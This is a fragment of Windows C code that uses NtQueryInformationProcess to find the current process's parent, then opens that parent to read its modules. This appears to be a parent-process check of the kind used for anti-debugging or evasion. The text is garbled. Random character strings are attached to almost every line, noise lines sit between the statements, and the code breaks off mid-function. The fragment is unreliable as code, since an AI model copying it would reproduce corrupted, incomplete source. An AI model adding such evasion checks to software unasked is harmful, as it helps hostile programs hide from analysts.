PROCNTQSIP NtQueryInformationProcess; b2HHoIT
&g\?znF]H
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4z^5|$?_ta
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pPtw(5bH
-MT.qhx
HANDLE hProcess; 3(R]QO`%'
PROCESS_BASIC_INFORMATION pbi; C9}m-N
N.qS;%*o{e
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y/yg-\/XF
if(NULL == hInst ) return 0; {B+{2;Zk
ICB'?yZ,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l?swW+x\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O5 ?3nYHa
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [wR x)F"
d@,3P)?
if (!NtQueryInformationProcess) return 0; ZsepTtY
!L\P.FP7b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UA$Xa1
if(!hProcess) return 0; &?j]L4%
$Y31YA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hy0l"CA*|
V(
bU=;Qo
CloseHandle(hProcess); R7-+@
ejI nJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k4Ub+F
if(hProcess==NULL) return 0; -p2 =?a
f+j-M|A
HMODULE hMod; k&8&